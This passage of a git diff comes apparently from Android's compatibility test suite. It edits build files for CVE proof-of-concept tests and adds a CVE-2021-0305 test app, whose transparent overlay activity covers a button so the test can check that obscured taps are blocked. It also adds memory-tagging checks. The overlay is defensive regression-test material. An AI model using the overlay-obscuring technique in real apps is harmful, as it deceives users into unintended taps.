     multilib: {
         lib32: {
-            suffix: "32",
+            suffix: "_sts32",
         },
         lib64: {
-            suffix: "64",
+            suffix: "_sts64",
         },
+        // build/soong/common/arch.go default returns nil; no default possible
     },
     arch: {
         arm: {
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
index 6f087cc..10bbf66 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.bp
@@ -26,9 +26,6 @@
         "frameworks/av/media/libmedia/include",
     ],
     multilib: {
-        lib32: {
-            suffix: "32",
-        },
         lib64: {
             shared_libs: [
             "libstagefright",
@@ -37,7 +34,6 @@
             "libstagefright_foundation",
             "libdatasource",
         ],
-        suffix: "64",
       },
    },
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
index c2b7636..630cb39 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
@@ -39,10 +39,6 @@
                 "android.hidl.allocator@1.0",
                 "android.hardware.media.omx@1.0",
             ],
-            suffix: "32",
-        },
-        lib64: {
-            suffix: "64",
         },
     },
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
index 2139583..a3928d7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
@@ -39,10 +39,6 @@
                 "android.hidl.allocator@1.0",
                 "android.hardware.media.omx@1.0",
             ],
-            suffix: "32",
-        },
-        lib64: {
-            suffix: "64",
         },
     },
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
index a7eef92..eb42b96 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
@@ -22,9 +22,6 @@
         "poc.cpp",
     ],
     multilib: {
-        lib32: {
-            suffix: "32",
-        },
         lib64: {
             include_dirs: [
                 "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
@@ -39,7 +36,6 @@
             shared_libs: [
                "libnfc_nci_jni",
             ],
-            suffix: "64",
         },
     },
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
index 3bbda28..c8353fe 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
@@ -22,9 +22,6 @@
         "poc.cpp",
     ],
     multilib: {
-        lib32: {
-            suffix: "32",
-        },
         lib64: {
             include_dirs: [
                 "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
@@ -39,7 +36,6 @@
             shared_libs: [
                 "libnfc_nci_jni",
             ],
-            suffix: "64",
         },
     },
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
index 70c3eed..c32cb4a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
@@ -27,9 +27,6 @@
         "-DENABLE_SELECTIVE_OVERLOADING",
     ],
     multilib: {
-        lib32: {
-            suffix: "32",
-        },
         lib64: {
             include_dirs: [
                 "system/nfc/src/nfc/include/",
@@ -41,7 +38,6 @@
             shared_libs: [
                 "libnfc-nci",
             ],
-            suffix: "64",
         },
     },
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
index 1876c60..1c231b7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
@@ -22,14 +22,10 @@
         "poc.cpp",
     ],
     multilib: {
-        lib32: {
-            suffix: "32",
-        },
         lib64: {
             shared_libs: [
                 "libmediandk",
             ],
-            suffix: "64",
         },
     },
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 82f6ed0..76bfeb8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -182,7 +182,7 @@
             String arguments, Map<String, String> envVars,
             IShellOutputReceiver receiver) throws Exception {
         String remoteFile = String.format("%s%s", TMP_PATH, pocName);
-        SecurityTestCase.getPocPusher(device).pushFile(pocName, remoteFile);
+        SecurityTestCase.getPocPusher(device).pushFile(pocName + "_sts", remoteFile);
 
         assertPocExecutable(pocName, device);
         if (receiver == null) {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
new file mode 100644
index 0000000..dd2aff8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.SecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that collects test results from test package android.security.cts.CVE_2021_0305.
+ *
+ * When this test builds, it also builds a support APK containing
+ * {@link android.sample.cts.CVE_2021_0305.SampleDeviceTest}, the results of which are
+ * collected from the hostside and reported accordingly.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0305 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0305.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-09")
+    @AppModeFull
+    public void testRunDeviceTestsPassesFull() throws Exception {
+        installPackage();
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testClick"));
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
+
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/Android.bp
similarity index 62%
copy from hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0305/Android.bp
index 72e5fef..7001533 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/Android.bp
@@ -4,7 +4,7 @@
 // you may not use this file except in compliance with the License.
 // You may obtain a copy of the License at
 //
-//     http://www.apache.org/licenses/LICENSE-2.0
+//      http://www.apache.org/licenses/LICENSE-2.0
 //
 // Unless required by applicable law or agreed to in writing, software
 // distributed under the License is distributed on an "AS IS" BASIS,
@@ -12,20 +12,20 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-java_test_host {
-    name: "CtsInstalledLoadingProgressHostTests",
-    defaults: ["cts_defaults"],
-    srcs:  ["src/**/*.java"],
-    libs: [
-        "cts-tradefed",
-        "tradefed",
-        "compatibility-host-util",
-        "cts-host-utils",
-    ],
-    static_libs: ["cts-install-lib-host"],
+android_test_helper_app {
+    name: "CVE-2021-0305",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
-        "general-tests",
+        "vts10",
+        "sts",
     ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
 
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/AndroidManifest.xml
new file mode 100644
index 0000000..b63e97e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/AndroidManifest.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
+          package="android.security.cts.CVE_2021_0305"
+          android:targetSandboxVersion="2">
+
+  <uses-permission android:name="android.permission.CAMERA" />
+  <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+  <application>
+    <uses-library android:name="android.test.runner" />
+    <activity
+      android:name=".MainActivity"
+      android:label="ST (Permission)"
+      android:taskAffinity="android.security.cts.CVE_2021_0305.MainActivity">
+
+      <intent-filter>
+        <action android:name="android.intent.action.MAIN" />
+        <category android:name="android.intent.category.LAUNCHER" />
+      </intent-filter>
+    </activity>
+
+    <activity
+        android:name=".OverlayActivity"
+        android:theme="@style/OverlayTheme"
+        android:exported="true"/>
+
+  </application>
+
+  <instrumentation
+    android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0305" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/res/layout/activity_main.xml
new file mode 100644
index 0000000..20a9812
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/res/layout/activity_main.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              xmlns:tools="http://schemas.android.com/tools"
+              xmlns:app="http://schemas.android.com/apk/res-auto"
+              tools:context=".MainActivity">
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/sample_text"
+        />
+
+    <Button
+        android:id="@+id/testButton1"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/test_button_label"
+        android:layout_centerInParent="true"
+        android:gravity="end|center_vertical"
+        />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/res/values/resources.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/res/values/resources.xml
new file mode 100644
index 0000000..815602c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/res/values/resources.xml
@@ -0,0 +1,28 @@
+<resources>
+
+  <attr name="colorOverlay" format="color" />
+  <attr name="colorDialog" format="color" />
+  <attr name="projectAlpha" format="float" />
+
+  <!-- Switch between the two to see what's happening behind the attacks -->
+  <style name="AppTheme" parent="SeeBehind"/>
+  <!--<style name="AppTheme" parent="AppThemeBase.SeeBehind"/>-->
+
+  <style name="SeeBehind">
+    <item name="colorOverlay">#BB4BEFD7</item>
+    <item name="colorDialog">#88FFFFFF</item>
+    <item name="projectAlpha">0.0</item>
+  </style>
+
+  <color name="colorM">#5600D1</color>
+
+  <style name="OverlayTheme" parent="AppTheme">
+    <!--<item name="android:windowBackground">@color/colorM</item>-->
+    <item name="android:windowBackground">@android:color/transparent</item>
+    <item name="android:windowAnimationStyle">@null</item>
+    <item name="android:windowIsTranslucent">true</item>
+  </style>
+
+
+
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/res/values/strings.xml
new file mode 100644
index 0000000..ab8b450
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/res/values/strings.xml
@@ -0,0 +1,5 @@
+<resources>
+    <string name="app_name">CVE_2021_0305</string>
+    <string name="test_button_label">Test Button</string>
+    <string name="sample_text">text in activity</string>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/src/android/security/cts/CVE_2021_0305/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/src/android/security/cts/CVE_2021_0305/DeviceTest.java
new file mode 100644
index 0000000..5634f4f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/src/android/security/cts/CVE_2021_0305/DeviceTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0305;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.SystemClock;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.uiautomator.BySelector;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertFalse;
+
+/**
+ * Basic sample for unbundled UiAutomator.
+ */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+  private static final String BASIC_SAMPLE_PACKAGE
+          = "android.security.cts.CVE_2021_0305";
+  private static final int LAUNCH_TIMEOUT_MS = 20000;
+  private static final String STRING_TO_BE_TYPED = "UiAutomator";
+
+  private UiDevice mDevice;
+
+  @Before
+  public void startMainActivityFromHomeScreen() {
+
+    Log.d("CVE", "startMainActivityFromHomeScreen()");
+
+    // Initialize UiDevice instance
+    mDevice = UiDevice.getInstance(getInstrumentation());
+
+    // Start from the home screen
+    mDevice.pressHome();
+
+    // Launch the blueprint app
+    Context context = getApplicationContext();
+    assertThat(context, notNullValue());
+    PackageManager packageManager = context.getPackageManager();
+    assertThat(packageManager, notNullValue());
+    final Intent intent = packageManager.getLaunchIntentForPackage(BASIC_SAMPLE_PACKAGE);
+    assertThat(intent, notNullValue());
+
+    intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); // Clear out any previous instances
+    context.startActivity(intent);
+
+    // Wait for the app to appear
+    Log.d("CVE", "wait for the app to appear");
+    mDevice.wait(Until.hasObject(By.pkg(BASIC_SAMPLE_PACKAGE).depth(0)), LAUNCH_TIMEOUT_MS);
+    Log.d("CVE", "app appeared");
+  }
+
+  @After
+  public void lastOperation(){
+    Log.d("CVE", "lastOperation() wait 20s");
+    SystemClock.sleep(20000);
+    Log.d("CVE", "lastOperation() completed");
+  }
+
+  @Test
+  public void testClick() {
+    Log.d("CVE", "testClick()");
+    boolean clicked = false;
+    java.util.List<UiObject2> objects;
+    BySelector selector = By.clickable(true);
+    String button;
+
+    //Detect "Test Button".
+    //"Test Button" appears after onResume().
+    //mDevice.wait(Until.hasObject(By.pkg(BASIC_SAMPLE_PACKAGE).depth(0)), LAUNCH_TIMEOUT_MS);
+    //waits for onEnterAnimationComplete() to finish.
+    //So we have LAUNCH_TIMEOUT_MS for the button to appear.
+    //If the button it still not available then
+    //we assume the button is obscured and the test passes.
+    Log.d("CVE", "looking for clickable");
+    objects = mDevice.findObjects(selector);
+    for (UiObject2 o : objects) {
+      button = o.getText();
+      Log.d("CVE", "button:" + button);
+
+      if(button==null){
+        //check the next button
+        continue;
+      }
+
+      switch(button){
+        case "Test Button" :
+          o.click();
+          clicked=true;
+          Log.i("CVE", "clicked: Test Button");
+          break;
+        default :
+          //check the next button
+          continue;
+      }
+
+      //A button this test is looking for just got pressed.
+      //Ignore remaining buttons
+      break;
+    }
+
+    Log.d("CVE", "testClick() end");
+    assertFalse(clicked);
+    Log.d("CVE", "testClick() passed");
+  }
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/src/android/security/cts/CVE_2021_0305/MainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/src/android/security/cts/CVE_2021_0305/MainActivity.java
new file mode 100644
index 0000000..50a1622
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/src/android/security/cts/CVE_2021_0305/MainActivity.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0305;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.Manifest.permission;
+import android.os.Bundle;
+import android.os.Handler;
+import android.view.View;
+import android.widget.EditText;
+import android.widget.TextView;
+import android.util.Log;
+import android.widget.Button;
+import android.os.SystemClock;
+import static android.content.Intent.FLAG_ACTIVITY_NO_ANIMATION;
+
+
+public class MainActivity extends Activity {
+
+    private static final int REQUEST_CAMERA_PERMISSION = 0;
+    Button testButton1;
+
+    @Override
+    public void onCreate(Bundle b) {
+        super.onCreate(b);
+        Log.e("CVE", "onCreate");
+        setContentView(R.layout.activity_main);
+        testButton1 = (Button) findViewById(R.id.testButton1);//get id of button
+
+        testButton1.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View view) {
+                Log.d("CVE", "button click received");
+            }
+        });
+    }
+
+    @Override
+    public void onEnterAnimationComplete() {
+      super.onEnterAnimationComplete();
+      Log.d("CVE", "MainActivity.onEnterAnimationComplete()");
+
+      //open OverlayActivity to obstruct MainActivity
+      Intent intent = new Intent(this, OverlayActivity.class);
+      intent.setFlags(FLAG_ACTIVITY_NO_ANIMATION);
+      startActivity(intent);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/src/android/security/cts/CVE_2021_0305/OverlayActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/src/android/security/cts/CVE_2021_0305/OverlayActivity.java
new file mode 100644
index 0000000..c320e5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0305/src/android/security/cts/CVE_2021_0305/OverlayActivity.java
@@ -0,0 +1,4 @@
+package android.security.cts.CVE_2021_0305;
+import android.app.Activity;
+
+public class OverlayActivity extends Activity {}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index f163fcf..090f743 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -203,6 +203,8 @@
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_CREDENTIALS, 104);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, 105);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_OUTPUT, 106);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM, 107);
     }
 
     @Test
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
index d0915e6..1539a9d 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appstart/AppStartStatsTests.java
@@ -41,6 +41,7 @@
         ConfigUtils.removeConfig(getDevice());
         ReportUtils.clearReports(getDevice());
         DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        DeviceUtils.turnScreenOn(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
     }
 
diff --git a/hostsidetests/tagging/Android.bp b/hostsidetests/tagging/Android.bp
index 7fc561f..8802542 100644
--- a/hostsidetests/tagging/Android.bp
+++ b/hostsidetests/tagging/Android.bp
@@ -1,33 +1,3 @@
-// Full truth table of whether tagging should be enabled. Note that a report from statsd is not
-// available if the kernel or manifest flag is disabled, as the zygote never probes compat (i.e.
-// mPlatformCompat.isChangeEnabled(NATIVE_HEAP_POINTER_TAGGING) never gets run). Also note that
-// disabling a compat feature is only supported on userdebug builds.
-//
-// +==================================================================================+
-// | #  | Kernel  | Manifest | SDK   | Forced   | Userdebug || Has     | Report from |
-// |    | Support | Flag     | Level | Compat   | Build     || Tagging | statsd?     |
-// | -- | ------- | -------- | ----- | -------- | --------- || ------- | ----------- |
-// | 1  | No      | -        | -     | -        | -         || No      | No          |
-// | 2  | Yes     | Off      | -     | -        | -         || No      | No          |
-// | 3  | Yes     | None/On  | 29    | Off/None | -         || No      | Yes         |
-// | 4  | Yes     | None/On  | 29/30 | On       | -         || Yes     | Yes         |
-// | 5  | Yes     | None/On  | 30    | None     | -         || Yes     | Yes         |
-// | 6  | Yes     | None/On  | 30    | Off      | Yes       || No      | Yes         |
-// | 7  | Yes     | None/On  | 30    | Off      | No        || Yes     | Yes         |
-// +==================================================================================+
-//
-// And coverage of this truth table comes from:
-//  #1. All tests on a device with an unsupported kernel.
-//  #2. TaggingManifestDisabledTest.*
-//  #3. Tagging(ManifestEnabled)?Sdk29.testDefault
-//  #4. Tagging(ManifestEnabled)?Sdk(29|30).testCompatFeatureEnabled
-//  #5. Tagging(ManifestEnabled)?Sdk30.testDefault
-//  #6. Tagging(ManifestEnabled)?Sdk30.testCompatFeatureDisabledUserdebugBuild
-//  #7. Tagging(ManifestEnabled)?Sdk30.testCompatFeatureDisabledUserBuild
-//
-// MTE tests are done at SDK level 30. The level doesn't really matter; there is
-// no manifest flag for MTE, and the compat feature is always disabled.
-
 java_test_host {
     name: "CtsTaggingHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp b/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
index 45bedd9..af48ace 100644
--- a/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
+++ b/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
@@ -18,9 +18,11 @@
  * Native implementation for the JniStaticTest parts.
  */
 
+#include <errno.h>
 #include <jni.h>
 #include <stdlib.h>
 #include <sys/prctl.h>
+#include <sys/utsname.h>
 
 extern "C" JNIEXPORT jboolean
 Java_android_cts_tagging_Utils_kernelSupportsTaggedPointers() {
@@ -55,3 +57,13 @@
   (void)load;
   delete[] p;
 }
+
+extern "C"
+JNIEXPORT jboolean JNICALL
+Java_android_cts_tagging_Utils_mistaggedKernelUaccessFails(JNIEnv *) {
+  auto *p = new utsname;
+  utsname* mistagged_p = reinterpret_cast<utsname*>(reinterpret_cast<uintptr_t>(p) + (1ULL << 56));
+  bool result = uname(mistagged_p) != 0 && errno == EFAULT;
+  delete p;
+  return result;
+}
diff --git a/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java b/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
index 2897c9c..dbd62d3 100644
--- a/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
+++ b/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
@@ -23,4 +23,5 @@
     public static native boolean kernelSupportsTaggedPointers();
     public static native int nativeHeapPointerTag();
     public static native void accessMistaggedPointer();
+    public static native boolean mistaggedKernelUaccessFails();
 }
diff --git a/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml b/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml
index dae0c0f..07ac8a6 100644
--- a/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml
+++ b/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml
@@ -19,11 +19,8 @@
 
     <uses-sdk android:targetSdkVersion="30" />
 
-     <!-- Note, do not set debuggable:true. Pre-release platforms allow for
-          debuggable apps to disable compat features, even if it's a `user`
-          build. By using a non-debuggable app, we replicate a proper release-
-          build device. -->
-    <application android:allowNativeHeapPointerTagging="true">
+    <application android:debuggable="true"
+                 android:allowNativeHeapPointerTagging="true">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/tagging/sdk_30/AndroidManifest.xml b/hostsidetests/tagging/sdk_30/AndroidManifest.xml
index 7f8e393..cc1c6c4 100644
--- a/hostsidetests/tagging/sdk_30/AndroidManifest.xml
+++ b/hostsidetests/tagging/sdk_30/AndroidManifest.xml
@@ -21,11 +21,7 @@
     <uses-permission android:name="android.permission.READ_LOGS"/>
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
 
-    <!-- Note, do not set debuggable:true. Pre-release platforms allow for
-         debuggable apps to disable compat features, even if it's a `user`
-         build. By using a non-debuggable app, we replicate a proper release-
-         build device. -->
-    <application>
+    <application android:debuggable="true">
       <uses-library android:name="android.test.runner" />
       <processes>
         <process />
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
index ef73e96..6261de1 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
@@ -17,6 +17,7 @@
 package android.cts.tagging.sdk30;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
@@ -89,11 +90,13 @@
         mContext.startActivity(intent);
 
         assertTrue(receiver.await());
+        assertTrue(Utils.mistaggedKernelUaccessFails());
     }
 
     @Test
     public void testMemoryTagChecksDisabled() {
         Utils.accessMistaggedPointer();
+        assertFalse(Utils.mistaggedKernelUaccessFails());
     }
 
     @Test
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
index bebd08f..30d6841 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
@@ -17,11 +17,8 @@
 package com.android.cts.tagging;
 
 import android.compat.cts.CompatChangeGatingTestCase;
-
 import com.android.tradefed.device.ITestDevice;
-
 import com.google.common.collect.ImmutableSet;
-
 import java.util.Scanner;
 
 public class TaggingBaseTest extends CompatChangeGatingTestCase {
@@ -29,8 +26,7 @@
     private static final String DEVICE_KERNEL_HELPER_APK_NAME = "DeviceKernelHelpers.apk";
     private static final String DEVICE_KERNEL_HELPER_PKG_NAME = "android.cts.tagging.support";
     private static final String KERNEL_HELPER_START_COMMAND =
-            String.format(
-                    "am start -W -a android.intent.action.MAIN -n %s/.%s",
+            String.format("am start -W -a android.intent.action.MAIN -n %s/.%s",
